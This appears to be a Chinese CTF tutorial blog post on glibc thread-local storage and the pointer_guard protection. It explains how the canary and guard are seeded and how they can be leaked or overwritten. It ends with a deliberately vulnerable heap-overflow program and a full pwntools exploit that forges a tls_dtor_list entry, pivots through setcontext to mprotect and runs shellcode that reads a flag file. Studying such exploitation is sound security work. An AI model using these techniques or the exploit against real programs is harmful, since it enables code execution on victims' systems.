感谢cnitlrt师傅对本文的贡献
本文简单介绍了glibc的pointer_guard
机制的原理以及绕过(利用)方法。(示例中glibc版本均为2.31)
在介绍我们今天要讲的重点之前,我们需要先了解一些前置知识。
TLS简单介绍
要介绍pointer_guard
,对TLS的介绍是绕不开的。TLS的全称为Thread
Local
Storage,听名字就知道是一种线程独占的本地空间,在TLS出现之前,人们只能使用pthread_getspecific以及pthread_setspecific函数来处理线程独立存储,这显然是一种效率低下的解决方案。但现在我们可以使用__thread
关键字来告知编译器某一个变量应当被放入TLS,并且只需几条汇编指令就可以访问到该变量。这一切都源于编译器,链接器以及内核的密切配合。
引子
TLS的特殊性(只能被当前线程访问和修改)使得其不能像一般的变量一样被简单的存储到ELF文件的某个段。而且TLS变量的行为也与一般的变量不同。下面我们将通过一个程序来说明这两点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <pthread.h> #include <stdio.h> static __thread int a = 12345 ; __thread unsigned long long b = 56789 ; __thread int c;void try (void *tmp) { printf ("try: a = %lx, b = %llx, c = %s\n" , a, b, &c); return ; }int main (void ) { a = 0xdeadbeef ; b = 0xbadcaffe ; c = 0x61616161 ; printf ("main thread: a = %lx, b = %llx, c = %s\n" , a, b, &c); pthread_t pid; pthread_create(&pid, NULL , try, NULL ); pthread_join(pid, NULL ); return 0 ; }
使用gcc tls.c -pthread -g -o tls
编译后运行代码,我们发现程序的输出如下:
1 2 main thread: a = deadbeef, b = badcaffe, c = aaaa try: a = 3039, b = ddd5, c =
这里就和我们想象的情况不同了,理论上来说,abc都是全局变量,main函数中对其进行赋值之后应该会体现在try函数的输出中。然而事实上两者并没有互相影响。这正是TLS变量的强大之处,要做到能够独立的修改变量,我们最容易想到的解决方案便是申请一个变量的副本。实际上正是如此,我们使用gdb查看程序的section时,发现多出了两个section:.tdata
以及.tbss
,与正常的data以及bss
section相似,两者分别存储已经初始化的线程变量以及未初始化的线程变量。如下图所示:
Screen Shot 2020-10-02 at
17.50.54
这两个section中可以说是保存着变量的原本版本,下面我们需要研究的是变量的副本存储的位置。
观察try函数的汇编代码,我们可以看到程序在取线程变量a时使用了指令mov rdx, fs:0FFFFFFFFFFFFFFF0h
。现在我们终于找到了问题的关键:fs寄存器。然而我们在查看fs寄存器的值时却看到fs寄存器的值为0,这其实是因为gdb的权限无法直接访问fs寄存器,我们可以使用fsbase指令来进行访问。如下图所示:
Screen Shot 2020-10-02 at
17.59.54
令人惊讶的是,这个寄存器的值竟然指向一块mmap出的区域中,仔细一看,这个区域正是我们的栈所在的内存块。这时越来越多的东西被牵扯进来,我们离问题的核心也越来越近了。为了解决我们眼前的疑问,我们将目光转向TLS以及有关数据的结构。
x86_64-ABI要求的TLS结构
TLS(Thread Local Storage)的结构与TCB(Thread Control
Block)以及dtv(dynamic thread
vector)密切相关,每一个线程中每一个使用了TLS功能的module都拥有一个TLS
Block。这几者的关系如下图所示1 :
Screen Shot 2020-10-02 at
19.42.52
根据图中显示的信息,TLS Blocks
可以分为两类,一类是程序装载时就已经存在的(位于TCB前),这一部分Block被称为_static
TLS_。右边的Blocks是动态分配的,它们被使用dlopen
函数在程序运行时动态装载的模块所使用。
TCB
作为线程控制块,保存着dtv
数组的入口,dtv
数组中的每一项都是TLS Block
的入口,它们是指向TLS Blocks
的指针。特别的,dt
v数组的第一个成员是一个计数器,每当程序使用dlopen
函数或者dlfree
函数加载或者卸载一个具备TLS变量的module,该计数器的值都会加一,从而保证程序内版本的一致性。
特别的,ELF文件本身对应的TLS Block
一定在dtv
数组中占据索引为1的位置,且位置上与TCB相邻2 。 还需要注意的是,图中出现了一个名为\(tp\_1\) 的指针,在i386架构上,这个指针为gs段寄存器;在x86_64架构上,该指针为fs段寄存器。由于该指针与ELF文件本身对应的TLS Block
之间的偏移是固定的,程序在编译时就可以将ELF中线程变量的地址硬编码到目标文件中。
Glibc的TLS实现
接下来,我们通过源码来理解Glibc中TLS的具体实现方法。我们首先来研究多线程的情形。
非主线程情形
TCB结构体以及static
TLS的空间分配
在函数pthread_create
中存在下面一条调用链:
1 pthread_create -> ALLOC_STACK
ALLOCATE_STACK
函数通过下面的操作来为新线程分配栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 mem = __mmap (NULL , size, (guardsize == 0 ) ? prot : PROT_NONE, MAP_PRIVATE MAP_ANONYMOUS MAP_STACK, -1 , 0 ); pd = (struct pthread *) ((((uintptr_t ) mem + size) - TLS_TCB_SIZE) & ~__static_tls_align_m1);if (_dl_allocate_tls (TLS_TPADJ (pd)) == NULL ) { assert (errno == ENOMEM); (void ) __munmap (mem, size); return errno; }
可以看到,新栈的底部被分配了一个容纳pd
结构体的空间,该结构体的类型为struct pthread
,我们称其为一个thread descriptor
,该结构体的第一个域为tchhead_t
类型,其定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; unsigned long int vgetcpu_cache[2 ]; unsigned int feature_1; int __glibc_unused1; void *__private_tm[4 ]; void *__private_ss; unsigned long long int ssp_base; __128bits __glibc_unused2[8 ][4 ] __attribute__ ((aligned (32 ))); void *__padding[8 ]; } tcbhead_t ;
可以看到,这就是我们之前提到的TCB结构体的具体实现。
父线程TCB的继承
1 2 3 4 5 6 7 8 9 #ifdef THREAD_COPY_STACK_GUARD THREAD_COPY_STACK_GUARD (pd);#endif #ifdef THREAD_COPY_POINTER_GUARD THREAD_COPY_POINTER_GUARD (pd);#endif
在栈分配之后,我们在pthread函数中看到了上面这样的代码。将宏展开后可以看到内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # define THREAD_GETMEM(descr, member) \ ({ __typeof (descr->member) __value; \ if (sizeof (__value) == 1) \ asm volatile ("movb %%fs:%P2,%b0" \ : "=q" (__value) \ : "0" (0), "i" (offsetof (struct pthread, member))); \ else if (sizeof (__value) == 4) \ asm volatile ("movl %%fs:%P1,%0" \ : "=r" (__value) \ : "i" (offsetof (struct pthread, member))); \ else \ { \ if (sizeof (__value) != 8) \ abort (); \ \ asm volatile ("movq %%fs:%P1,%q0" \ : "=r" (__value) \ : "i" (offsetof (struct pthread, member))); \ } \ __value; }) # define THREAD_COPY_STACK_GUARD(descr) \ ((descr)->header.stack_guard \ = THREAD_GETMEM (THREAD_SELF, header.stack_guard))
不难看出,这一段的作用是将父进程的canary复制到当前进程的TCB结构体中。事实上,在fs寄存器尚未被改变之前,其中存放着父进程的TCB地址,我们可以使用THREAD_SELF宏来获取父线程的TCB指针:
1 2 3 4 5 # define THREAD_SELF \ ({ struct pthread *__self; \ asm ("mov %%fs:%c1,%0" : "=r" (__self) \ : "i" (offsetof (struct pthread, header.self))); \ __self;})
借由这个trick,子线程从父线程继承了数个TCB的域,这里不再一一叙述,仅作了解。
dtv实现简介
那么我们可以沿着这条线索找到dtv
数组以及TLS Blocks
的具体实现。首先查看dtv_t类型的定义:
1 2 3 4 5 6 7 8 9 10 11 12 struct dtv_pointer { void *val; void *to_free; };typedef union dtv { size_t counter; struct dtv_pointer pointer ; } dtv_t ;
可以看到该类型是一个联合,其值有可能是一个counter,该counter在dtv[-1]以及dtv[0]这个成员使用,标志dtv数组中的入口个数;其值也有可能是一个dtv_pointer结构体,其中的成员指向一个TLS
Block。如下图所示:
Screen Shot 2020-10-03 at
11.25.25
需要注意的是dtv
使用module ID
作为索引,程序装载的每一个module
都会有一个module ID
,这个值存在于这个module
对应的link_map
结构体中,该结构体中的相关成员如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void *l_tls_initimage; size_t l_tls_initimage_size; size_t l_tls_blocksize; size_t l_tls_align; size_t l_tls_firstbyte_offset;#ifndef NO_TLS_OFFSET # define NO_TLS_OFFSET 0 #endif #ifndef FORCED_DYNAMIC_TLS_OFFSET # if NO_TLS_OFFSET == 0 # define FORCED_DYNAMIC_TLS_OFFSET -1 # elif NO_TLS_OFFSET == -1 # define FORCED_DYNAMIC_TLS_OFFSET -2 # else # error "FORCED_DYNAMIC_TLS_OFFSET is not defined" # endif #endif ptrdiff_t l_tls_offset; size_t l_tls_modid; size_t l_tls_dtor_count;
dtv数组的空间分配
我们接着本节开头的调用链继续往下看,可以看到如下调用:
1 pthread_create -> ALLOC_STACK -> _dl_allocate_tls -> allocate_dtv -> _dl_allocate_tls_init
首先,程序在allocate_dtv
函数中为dtv数组分配空间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 static void *allocate_dtv (void *result) { dtv_t *dtv; size_t dtv_length; dtv_length = GL(dl_tls_max_dtv_idx) + DTV_SURPLUS; dtv = calloc (dtv_length + 2 , sizeof (dtv_t )); if (dtv != NULL ) { dtv[0 ].counter = dtv_length; INSTALL_DTV (result, dtv); } else result = NULL ; return result; }
我们可以看到程序在堆里面申请了一块区域赋值给dtv,然后利用INSTALL_DTV (result, dtv);
宏进行了一些操作,我们将宏展开,得到下面的代码
1 (tcbhead_t *) (result))->dtv = (dtv) + 1
到这一步为止,TCB中指向的dtv数组的空间已经被成功分配。
static TLS以及fs的初始化
下面我们来看_dl_allocate_tls_init
函数中进行的初始化工作:
从宏观上来说,该函数进行了一次对link_map的遍历,并且对于link_map链表中的每一个节点(对应一个模块)都进行了如下操作:
1 2 3 4 5 6 7 8 9 10 dest = (char *) result - map ->l_tls_offset; dtv[map ->l_tls_modid].pointer.val = dest;memset (__mempcpy (dest, map ->l_tls_initimage, map ->l_tls_initimage_size), '\0' , map ->l_tls_blocksize - map ->l_tls_initimage_size);
对每一个module进行这一步操作后,(不考虑dlopen,dlfree)我们的TLS已经被初始化完成了。这时我们还留有最后一个疑问:谁设置了fs寄存器?
我们知道,fs寄存器是用户态程序无法设置,我们只能通过系统调用进行设置。因此我们使用strace -f ./tls
命令来跟踪程序执行中的系统调用,如我们所料,我们在clone系统调用中发现了如下参数:
1 clone(child_stack=0x7fa882eeffb0 , flags=CLONE_VMCLONE_FSCLONE_FILESCLONE_SIGHANDCLONE_THREADCLONE_SYSVSEMCLONE_SETTLSCLONE_PARENT_SETTIDCLONE_CHILD_CLEARTID, parent_tid=[37577 ], tls=0x7fa882ef0700 , child_tidptr=0x7fa882ef09d0 ) = 37577
进而查找glibc中pthread_create
函数对clone的调用,我们找到如下调用链在TCB被设置之后完成:
1 pthread_create -> create_thread -> clone syscall
其中clone处的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 const int clone_flags = (CLONE_VM CLONE_FS CLONE_FILES CLONE_SYSVSEM CLONE_SIGHAND CLONE_THREAD CLONE_SETTLS CLONE_PARENT_SETTID CLONE_CHILD_CLEARTID 0 ); TLS_DEFINE_INIT_TP (tp, pd);if (__glibc_unlikely (ARCH_CLONE (&start_thread, STACK_VARIABLES_ARGS, clone_flags, pd, &pd->tid, tp, &pd->tid) == -1 )) return errno;
可以看到,之前设置的pd指针被作为参数传给了clone系统调用作为新的tls。
进而在linux内核代码中,有如下调用链:
1 clone -> _do_fork -> copy_process -> copy_thread_tls -> do_arch_prctl_64
在这里,我们见到了在Linux中真正用来设置fs寄存器的系统调用:arch_prctl
,在下面主线程情形的分析中,我们将会再次见到它。
主线程情形
概述
现在我们已经知道了arch_prctl
系统调用用来设置fs寄存器,那么接下来我们只需使用gdb设置catchpoint即可找到主线程初始化时设置TLS的大致位置,如下图所示:
Screen Shot 2020-10-03 at
14.47.52
可以看到,关键位置在dl_main
函数调用的init_tls
函数中,我们可以在GNU的文档中看到相关的调用如下3 :
dl.so ELF headers point its start at _start
.
_start
(sysdeps/i386/dl-machine.h) calls
_dl_start
.
_dl_start
(elf/rtld.c) initializes
bootstrap_map
, calls _dl_start_final
_dl_start_final
calls
_dl_sysdep_start
.
_dl_sysdep_start
(sysdeps/mach/hurd/dl-sysdep.c) calls
__mach_init
to initialize enough to run RPCs, then calls
_hurd_startup
.
_hurd_startup
(hurd/hurdstartup.c) gets hurdish
information from servers and calls its main
parameter.
the main
parameter was actually go
inside
_dl_sysdep_start
, which calls dl_main
.
dl_main
(elf/rtld.c) interprets ld.so parameters, loads
the binary and libraries, calls _dl_allocate_tls_init
.
我门可以看到,ld在装载了所有的module之后调用_dl_allocate_tls_init
.进行TLS的初始化工作,然而实际上dl_mian函数中进行的初始化工作不止这一处,有关的所有源码按顺序列举如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 bool was_tls_init_tp_called = tls_init_tp_called;if (tcbp == NULL ) tcbp = init_tls ();if (__glibc_likely (need_security_init)) security_init (); if ((!was_tls_init_tp_called && GL(dl_tls_max_dtv_idx) > 0 ) count_modids != _dl_count_modids ()) ++GL(dl_tls_generation); _dl_allocate_tls_init (tcbp);if (! tls_init_tp_called) { const char *lossage = TLS_INIT_TP (tcbp); if (__glibc_unlikely (lossage != NULL )) _dl_fatal_printf ("cannot set up thread-local storage: %s\n" , lossage); }
init_tls
:空间分配以及fs的设置
init_tls
函数首先初始化了一些关于TLS的metadata,受篇幅所限不再赘述。我们把目光集中在该函数调用的_dl_allocate_tls_storage
函数上,该函数源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void * _dl_allocate_tls_storage (void ) { void *result; size_t size = GL(dl_tls_static_size); size_t alignment = GL(dl_tls_static_align); void *allocated = malloc (size + alignment + sizeof (void *)); if (__glibc_unlikely (allocated == NULL )) return NULL ; void *aligned = (void *) roundup ((uintptr_t ) allocated, alignment); result = aligned + size - TLS_TCB_SIZE; memset (result, '\0' , TLS_TCB_SIZE); *tcb_to_pointer_to_free_location (result) = allocated; result = allocate_dtv (result); if (result == NULL ) free (allocated); return result; }
本函数分为两个部分,第一部分作用为为TCB以及static
TLS分配空间,这一过程使用了一个名为malloc的函数,但注意这个malloc并非glibc中实现的ptmalloc,而是ld中独立实现的一个内存管理功能。该函数会mmap一块内存作为分配区,然后利用指向分配区中的指针的加减来实现内存的增加与减少(这是一个非常简单的实现,有兴趣可以自行查阅源码,只有几十行)
第二部分的作用为为dtv分配空间,由于上面我们malloc的时候已经mmap过足够的空间,这一部分allocate_dtv
函数调用calloc函数时会直接使用上次malloc剩下的内存,申请过后内存布局如下(忽略padding):
1 2 3 4 5 6 7 +---------------------+-------------------+-------------------------------+ static TLS TCB Structure dtv array +---------------------+-+-------------------------------------------------+ ^ +-----------------+
进行空间分配之后,init_tls
的剩余部分会调用arch_prctl
系统调用来进行fs寄存器的设置,然后经过检查之后函数返回。
security_init
:TCB安全功能的初始化
那么init_tls
函数的内容就到此结束了,下面我们将目光移向下一个函数security_init
,该函数初始化了一些与安全有关的信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static void security_init (void ) { uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);#ifdef THREAD_SET_STACK_GUARD THREAD_SET_STACK_GUARD (stack_chk_guard);#else __stack_chk_guard = stack_chk_guard;#endif uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);#ifdef THREAD_SET_POINTER_GUARD THREAD_SET_POINTER_GUARD (pointer_chk_guard);#endif __pointer_chk_guard_local = pointer_chk_guard; _dl_random = NULL ; }
这一段代码很简单,基本作用如图所示:
1 2 3 4 5 6 7 8 9 10 Stack Part of TCB _dl_random --> +---------------+ clear lowest +---------------+ 1 byte +-----------> canary +---------------+ +---------------+ +-----------> pointer_guard +---------------+ +---------------+
那么现在我们要解决的问题就是找到_dl_random
指针的来源
_dl_random
:一座桥梁
我们首先对该变量下一个写断点来查找它被赋值的位置,最终我们找到了_dl_sysdep_start
函数中的如下代码:
1 2 3 4 5 6 7 8 for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen (av++)) switch (av->a_type) { case AT_RANDOM: _dl_random = (void *) av->a_un.a_val; }
如果你对SROP技术中泄露vdso地址的方法有印象的话,你一定会记得一个位于栈中的数据结构:Auxiliary
Vector。该数组由内核创建,其中给出了一些关于当前进程的辅助信息。一个典型的Auxiliary
Vector大致如下所示:
Screen Shot 2020-10-10 at
11.37.52
而我们的_dl_sysdep_start
函数中的这一段switch语句正是遍历了这个数组,取其中AT_RANDOM对应的这一项的值,赋值给了_dl_random
指针。
下面我们再来看该指针指向的位置。我们经过简单的实验即可发现,该值在_dl_start
函数被调用之前就存在了。因此我们合理推测该值是由内核设置的。经过对内核源码的深入挖掘,我们发现了下面这条调用链4 : ``` load_elf_binary ->
create_elf_tables
1 2 3 4 5 6 7 8 9 10 11 在`create_elf_tables`函数中,我们发现了如下代码: ```C /* * Generate 16 random bytes for userspace PRNG seeding. */ get_random_bytes(k_rand_bytes, sizeof(k_rand_bytes)); u_rand_bytes = (elf_addr_t __user *) STACK_ALLOC(p, sizeof(k_rand_bytes)); // 就是sp - size if (__copy_to_user(u_rand_bytes, k_rand_bytes, sizeof(k_rand_bytes))) return -EFAULT;
可以看到这段代码的流程:首先获取了16个随机字节,然后将得到的这些数据压栈。这一个简单的操作其实正是本文议题的起源,这看似平平无奇的16个字节,实际上在程序用户态的后续操作中进入了TCB结构体,被用来当作对指针的加密措施以及栈canary。
接下来还有如下代码设置了Auxiliary
Vector中的AT_RANDOM入口,也正是该入口的值在上述的用户态启动进程中赋值给了_dl_random
。(这或许为某种格式化字符串攻击提供了条件,因为这16个字节中间很少出现00截断。
1 2 3 4 5 6 7 8 9 10 11 elf_info = (elf_addr_t *)current->mm->saved_auxv; #define NEW_AUX_ENT(id, val) \ do { \ elf_info[ei_index++] = id; \ elf_info[ei_index++] = val; \ } while (0) NEW_AUX_ENT(AT_RANDOM, (elf_addr_t )(unsigned long )u_rand_bytes);
在进行了上述操作后,栈结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 +----------------+ Auxiliary Vector AT_RANDOM ptr +-----+ +----------------+ ... +----------------+ random bytes <-----+ +----------------+ 'x86_64\x00' +----------------+ padding +----------------+ argv & envp string
那么对_dl_random的介绍就到此为止了,让我们回到正题。
_dl_allocate_tls_init
:TLS的初始化
这一步操作很简单,参见上面的static
TLS以及fs的初始化 一节。注意此时该函数的result参数为上面init_tls
函数的返回值,这个指针指向fsbase
,位于一块之前mmap出来的地址中。
最后,TLS_INIT_TP宏调用了arch_prctl,该系统调用进行了fs寄存器的设置。
主线程情形的分析到此结束。
TLS安全机制简单介绍
我们首先利用两个big picture来复习一下上面提到的内容:
之前我们对机制谈论了那么多,但实际上我们现在最需要了解的实际上是TLS有关的安全机制。
stack canary
对于stack
canary,我们不做过多的叙述。相关的利用方式大家可能已经十分了解,我们将在后面的例二中讲解这一点。
pointer guard
这是我们要重点讲述,也是经常被忽略的一个机制。在Glibc中,有下面两个宏:
1 2 3 4 5 6 7 8 9 10 11 12 13 # define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \ "rol $2*" LP_SIZE "+1, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) # define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard)))
可以看到这两个宏利用pointer_guard
分别对指针进行了加密和解密操作,加密由一次异或以及一次bitwise
rotate组成。加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)]
,也就是我们这一小节的议题。接下来我们将对加密和解密的脆弱性进行解析。
利用pointer_guard
进行加密的过程可以表示为rol(ptr ^ pointer_guard, 0x11, 64)
,解密的过程为ror(enc, 0x11, 64) ^ pointer_guard
。那么假设现在我们知道了enc和ptr两个值,我们就可以通过这个算式来计算出pointer_guard
(64位情况)5 :
1 pointer_guard = ror (enc, 0x11 , 64 ) ^ ptr
同时假设我们获得了对pointer_guard
的任意写,并且已知会调用一个函数指针enc
,以及恶意地址evil_ptr
,我们可以通过修改pointer_guard
为evil_guard
来将解密后的指针导向恶意地址,转换关系如下:
1 evil_guard = ror (enc, 0x11 , 64 ) ^ evil_ptr
关于pointer_guard的内容到此结束,下面我们根据上面所说的知识来进行一个知识点的总结。
关于TLS的攻击面总结
check上的是已经实践并且成功的(有尝试成功的师傅请联系我qq:1509684914)
TLS读写方法:
具体攻击路径
由于tcache
是一个TLS变量,且该变量没有任何保护,可以写tcache
来劫持整个tcache链表。
泄露pointer_guard
后可以劫持exit函数的流程,可以劫持__exit_funcs
数组来执行函数列表,但这种方法只能控制一个函数参数。
同样是泄露pointer_guard
,但之后可以劫持tls_dtor_list
(主线程情形需要任意地址写,非主线程需要任意地址写或者栈溢出),进而构造dtor_list
结构体控制rdi
(obj
域)和rdx
(next
域),进而利用setcontext+53
来进行SROP。此方法适用于目前所有主流libc版本 。
在任意地址写情况下,如果已知一个确切的利用pointer_guard
解密指针的位置(如printf
函数中就存在这样的调用),可以通过修改pointer_guard
来使解密后的函数指针指向one_gadget
,进而getshell。
泄露或写入stack_canary
来绕过canary
机制(注意主线程的stack_canary
和子线程的一样,并且修改主线程的stack_canary
之后创建的子线程的canary
也会被修改)
示例程序(攻击路径三)
下面是一个简单的堆溢出题。
在堆利用的过程中,如果遇到比较苛刻的情况(如开启了沙箱,只能orw读取flag)。那么我们常常会采用FSOP技术来劫持控制流,最终利用ROP来进行flag的读取。
首先,示例程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <seccomp.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <sys/syscall.h> char *chunks[32 ];size_t sizes[32 ];unsigned int get_num (void ) { char buf[8 ] = {0 }; read(0 , buf, 8 ); return atoi(buf); }void title (void ) { printf ("Here is your diary.\n" ); printf ("You can write anything here, your information is properly protected and everything will be destoryed when you leave.\n" ); }void keep_safe (void ) { prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 ); struct sock_filter sfi [] = { {0x20 ,0x00 ,0x00 ,0x00000004 }, {0x15 ,0x00 ,0x09 ,0xc000003e }, {0x20 ,0x00 ,0x00 ,0x00000000 }, {0x35 ,0x07 ,0x00 ,0x40000000 }, {0x15 ,0x06 ,0x00 ,0x0000003b }, {0x15 ,0x00 ,0x04 ,0x00000001 }, {0x20 ,0x00 ,0x00 ,0x00000024 }, {0x15 ,0x00 ,0x02 ,0x00000000 }, {0x20 ,0x00 ,0x00 ,0x00000020 }, {0x15 ,0x01 ,0x00 ,0x00000010 }, {0x06 ,0x00 ,0x00 ,0x7fff0000 }, {0x06 ,0x00 ,0x00 ,0x00000000 } }; struct sock_fprog sfp = {12 ,sfi}; prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfp); }void add (void ) { printf ("Give me your idx: " ); size_t idx = get_num(); if (chunks[idx] idx >= 32 ) { return ; } printf ("Give me your size: " ); size_t size = get_num(); chunks[idx] = malloc (size); sizes[idx] = size; return ; }void show (void ) { printf ("Give me your idx: " ); size_t idx = get_num(); if (!chunks[idx] idx >= 32 ) { return ; } write(1 , chunks[idx], sizes[idx]); return ; }void del (void ) { printf ("Give me your idx: " ); size_t idx = get_num(); if (!chunks[idx] idx >= 32 ) { return ; } free (chunks[idx]); chunks[idx] = 0 ; sizes[idx] = 0 ; }void edit (void ) { printf ("Give me your idx: " ); size_t idx = get_num(); if (!chunks[idx] idx >= 32 ) { return ; } printf ("Give me your content: " ); read(0 , chunks[idx], 0x100 ); return ; }void menu (void ) { printf ("Menu: \n" ); printf ("1. Add\n" ); printf ("2. Delete\n" ); printf ("3. Show\n" ); printf ("4. Edit\n" ); }int main (void ) { setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); keep_safe(); title(); while (1 ) { menu(); int choice = get_num(); switch (choice) { case 1 : add(); break ; case 2 : del(); break ; case 3 : show(); break ; case 4 : edit(); break ; default : break ; } } return 0 ; }
编译时保护全开。
EXP
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 from sys import argvfrom autopwn.core import *from ctypes import *def mask1 (n ): if n >= 0 : return 2 **n - 1 else : return 0 def ror (n, d, width=8 ): d %= width * 8 if d < 1 : return n mask = mask1(8 * width) return ((n >> d) (n << (8 * width - d))) & maskdef rol (n, d, width=8 ): d %= width * 8 if d < 1 : return n mask = mask1(8 * width) return ((n << d) (n >> (width * 8 - d))) & maskdef ptr_demangle (ptr, key, LP_SIZE ): tmp = ror(ptr, LP_SIZE * 2 + 1 , LP_SIZE) return tmp ^ keydef ptr_mangle (ptr, key, LP_SIZE ): tmp = ptr ^ key return rol(tmp, LP_SIZE * 2 + 1 , LP_SIZE)class dtor_list (Structure ): _fields_ = [("func" , c_int64), ("obj" , c_int64), ("map" , c_int64), ("next" , c_int64)] def pack (self ): return bytes (memoryview (self))@attacker(EXP ) def exp (self, a:pwnlib.tubes.sock.sock ): choose = lambda x: a.sla("Edit\n" , str (x)) idx = lambda x: a.sla("idx: " , str (x)) size = lambda x: a.sla("size: " , str (x)) content = lambda x: a.sa("content: " , x) def add (i, sz ): choose(1 ) idx(i) size(sz) def free (i ): choose(2 ) idx(i) def show (i ): choose(3 ) idx(i) def edit (i, c ): choose(4 ) idx(i) content(c) add(0 , 0x420 ) add(1 , 0x18 ) free(0 ) add(0 , 0x420 ) show(0 ) libc_base = unpack(a.recvn(8 ), 'all' ) - 0x1bebe0 log.success(f"{libc_base=:#x} " ) dbg = Debug(self) dbg.b('exit' ).c() fs_base = libc_base + 0x1c6540 pguard_addr = fs_base + 0x30 add(2 , 0x18 ) add(3 , 0x18 ) add(4 , 0x18 ) free(3 ) free(2 ) add(2 , 0x18 ) show(2 ) heap_base = u64(a.recvn(8 )) - 0x710 log.success(f"{heap_base=:#x} " ) free(2 ) edit(1 , 0x18 * b'a' + p64(0x21 ) + p64(pguard_addr)) add(2 , 0x18 ) dbg.attach() add(3 , 0x18 ) show(3 ) pointer_guard = u64(a.recvn(8 )) log.success(f"{pointer_guard=:#x} " ) libc = ELF("./libc-2.31.so" ) efuncs_addr = 0x1be718 + libc_base dtor_ptr = fs_base - 88 add(5 , 0x18 ) free(5 ) free(2 ) edit(1 , 0x18 * b'a' + p64(0x21 ) + p64(dtor_ptr)) add(2 , 0x18 ) add(5 , 0x18 ) add(6 , 0x100 ) add(7 , 0x100 ) add(8 , 0x100 ) target_addr = heap_base + 0xa00 edit(5 , p64(target_addr)) setcontext_addr = libc_base + libc.sym['setcontext' ] + 0x35 mprotect_addr = libc_base + libc.sym['mprotect' ] payload = dtor_list(ptr_mangle(setcontext_addr, pointer_guard, 8 ), 0 , 0 , target_addr + 0x110 ).pack() edit(6 , payload) frame = SigreturnFrame() frame.rdi = heap_base frame.rsi = 0x2000 frame.rdx = 0x7 frame.rip = mprotect_addr frame.rsp = target_addr + 0x220 payload = bytes (frame) edit(7 , payload) payload = p64(target_addr + 0x228 ) shellcode = f""" /* open("flag", 0, 0) */ mov rax, {unpack(b"/flag" , 'all' )} push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 2 syscall /* read(fd, buf, 0x30) */ sub rsp, 0x30 mov rsi, rsp mov rdi, rax mov rdx, 0x30 mov rax, 0 syscall /* write(1, buf, 0x30) */ mov rdi, 1 mov rax, 1 syscall hlt """ payload += asm(shellcode) edit(8 , payload) choose(6 ) return @attacker(GET_FLAG ) def get_flag (self, a:pwnlib.tubes.sock.sock ): a.interactive() return inter = None needed = None ctf(argv, inter, needed)
参考文献
ELF Handling For
Thread-Local Storage by Ulrich Drepper ↩︎
A Deep dive
into (implicit) Thread Local Storage ↩︎
https://www.gnu.org/software/hurd/glibc/startup.html ↩︎
https://lwn.net/Articles/631631/ ↩︎
http://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html ↩︎